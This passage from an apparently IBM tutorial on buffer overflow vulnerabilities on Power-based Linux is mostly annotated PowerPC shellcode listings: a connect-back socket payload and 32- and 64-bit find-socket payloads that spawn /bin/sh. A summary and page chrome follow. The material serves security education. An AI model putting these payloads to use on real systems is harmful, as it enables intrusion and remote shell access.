    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\x81\xff\xf9"      /*  stdu    r28,-8(r1)                */
    "\xfb\x61\xff\xf9"      /*  stdu    r27,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\x7f\x00"      /*  lis     r23,32512                 */
    "\x62\xf7\x00\x01"      /*  ori     r23,r23,1                 */
    "\x3a\xc0\x04\xd2"      /*  li      r22,1234                  */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x96\xc1\xff\xfc"      /*  stwu    r22,-4(r1)                */
    "\x93\x61\xff\xfe"      /*  stw     r27,-2(r1)                */
    "\x7c\x35\x0b\x78"      /*  mr      r21,r1                    */
    "\xfb\x21\xff\xf9"      /*  stdu    r25,-8(r1)                */
    "\xfa\xa1\xff\xf9"      /*  stdu    r21,-8(r1)                */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x04"      /*  addi    r3,r29,-508               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7f\x43\xd3\x78"      /*  mr      r3,r26                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <cntsockcode64+108>       */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <cntsockcode64+132>       */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


Listing 24. Find socket code (fndsockcode)

#define FNDSOCKPORT 86

char fndsockcode[]=         /*  171 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x7c\x3c\x0b\x78"      /*  mr      r28,r1                    */
    "\x3b\x7d\xfe\x11"      /*  addi    r27,r29,-495              */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x3a\x0b\x78"      /*  mr      r26,r1                    */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x97\x81\xff\xfc"      /*  stwu    r28,-4(r1)                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x3b\xff\x01\xff"      /*  addi    r31,r31,511               */
    "\x3b\xff\xfe\x02"      /*  addi    r31,r31,-510              */
    "\x38\x21\x01\xff"      /*  addi    r1,r1,511                 */
    "\x38\x21\xfe\x05"      /*  addi    r1,r1,-507                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x08"      /*  addi    r3,r29,-504               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x3b\x3c\x01\xff"      /*  addi    r25,r28,511               */
    "\xa3\x39\xfe\x03"      /*  lhz     r25,-509(r25)             */
    "\x28\x19\x04\xd2"      /*  cmplwi  r25,1234                  */
    "\x40\x82\xff\xd0"      /*  bne+    <fndsockcode+40>          */
    "\x3b\x1d\xfe\x03"      /*  addi    r24,r29,-509              */
    "\x7f\x04\xc3\x78"      /*  mr      r4,r24                    */
    "\x7f\xe3\xfb\x78"      /*  mr      r3,r31                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x18\xff\xff"      /*  addic.  r24,r24,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <fndsockcode+96>          */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <fndsockcode+120>         */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


Listing 25. 64-bit find socket code (fndsockcode)

#define FNDSOCKPORT 86

char fndsockcode64[]=       /*  171 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x7c\x3c\x0b\x78"      /*  mr      r28,r1                    */
    "\x3b\x7d\xfe\x11"      /*  addi    r27,r29,-495              */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x3a\x0b\x78"      /*  mr      r26,r1                    */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\xfb\x81\xff\xf9"      /*  stdu    r28,-8(r1)                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\x3b\xff\x01\xff"      /*  addi    r31,r31,511               */
    "\x3b\xff\xfe\x02"      /*  addi    r31,r31,-510              */
    "\x38\x21\x01\xff"      /*  addi    r1,r1,511                 */
    "\x38\x21\xfe\x09"      /*  addi    r1,r1,-503                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x08"      /*  addi    r3,r29,-504               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x3b\x3c\x01\xff"      /*  addi    r25,r28,511               */
    "\xa3\x39\xfe\x03"      /*  lhz     r25,-509(r25)             */
    "\x28\x19\x04\xd2"      /*  cmplwi  r25,1234                  */
    "\x40\x82\xff\xd0"      /*  bne+    <fndsockcode64+40>        */
    "\x3b\x1d\xfe\x03"      /*  addi    r24,r29,-509              */
    "\x7f\x04\xc3\x78"      /*  mr      r4,r24                    */
    "\x7f\xe3\xfb\x78"      /*  mr      r3,r31                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x18\xff\xff"      /*  addic.  r24,r24,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <fndsockcode64+96>        */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <fndsockcode64+120>       */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


Summary

I hope you now have a solid understanding of the issues surrounding buffer overflows on Power and Cell/B.E. systems. In this part, we covered how to overwrite a local variable in 32- and 64-bit modes, how to overwrite a function pointer in 32- and 64-bit modes, as well as assembly components through shell, network, and socket code samples.


Resources

Learn

Get products and technologies

  • Order the SEK for Linux, a two-DVD set containing the latest IBM trial software for Linux from DB2®, Lotus®, Rational®, Tivoli®, and WebSphere®.

  • With IBM trial software, available for download directly from developerWorks, build your next development project on Linux.

Discuss

About the author

Ramon is a Software Engineer at the IBM Linux Technology Center in Sao Paulo, Brazil. He is a Founder/Security Researcher at RISE Security and has extensive experience in vulnerability research, exploitation techniques, exploit development, and reverse engineering on a wide range of operating systems and architectures. He also contributes to open source projects like The Metasploit Framework.

Comments (Undergoing maintenance)



Trademarks  |  My developerWorks terms and conditions

Help: Update or add to My dW interests

What's this?

This little timesaver lets you update your My developerWorks profile with just one click! The general subject of this content (AIX and UNIX, Information Management, Lotus, Rational, Tivoli, WebSphere, Java, Linux, Open source, SOA and Web services, Web development, or XML) will be added to the interests section of your profile, if it's not there already. You only need to be logged in to My developerWorks.

And what's the point of adding your interests to your profile? That's how you find other users with the same interests as yours, and see what they're reading and contributing to the community. Your interests also help us recommend relevant developerWorks content to you.

View your My developerWorks profile

Return from help

Help: Remove from My dW interests

What's this?

Removing this interest does not alter your profile, but rather removes this piece of content from a list of all content for which you've indicated interest. In a future enhancement to My developerWorks, you'll be able to see a record of that content.

View your My developerWorks profile

Return from help

static.content.url=http://www.ibm.com/developerworks/js/artrating/
SITE_ID=1
Zone=Linux
ArticleID=363606
ArticleTitle=LoP/Cell/B.E.: Buffer overflow vulnerabilities, Part 2: Discovering how buffer overflow mechanisms work for Linux on Power-based systems
publish-date=01132009
author1-email=rcvalle@br.ibm.com
author1-email-cc=

My developerWorks community

Tags

Help
Use the search field to find all types of content in My developerWorks with that tag.

Use the slider bar to see more or fewer tags.

Popular tags shows the top tags for this particular content zone (for example, Java technology, Linux, WebSphere).

My tags shows your tags for this particular content zone (for example, Java technology, Linux, WebSphere).

Use the search field to find all types of content in My developerWorks with that tag. Popular tags shows the top tags for this particular content zone (for example, Java technology, Linux, WebSphere). My tags shows your tags for this particular content zone (for example, Java technology, Linux, WebSphere).

Rate a product. Write a review.

Special offers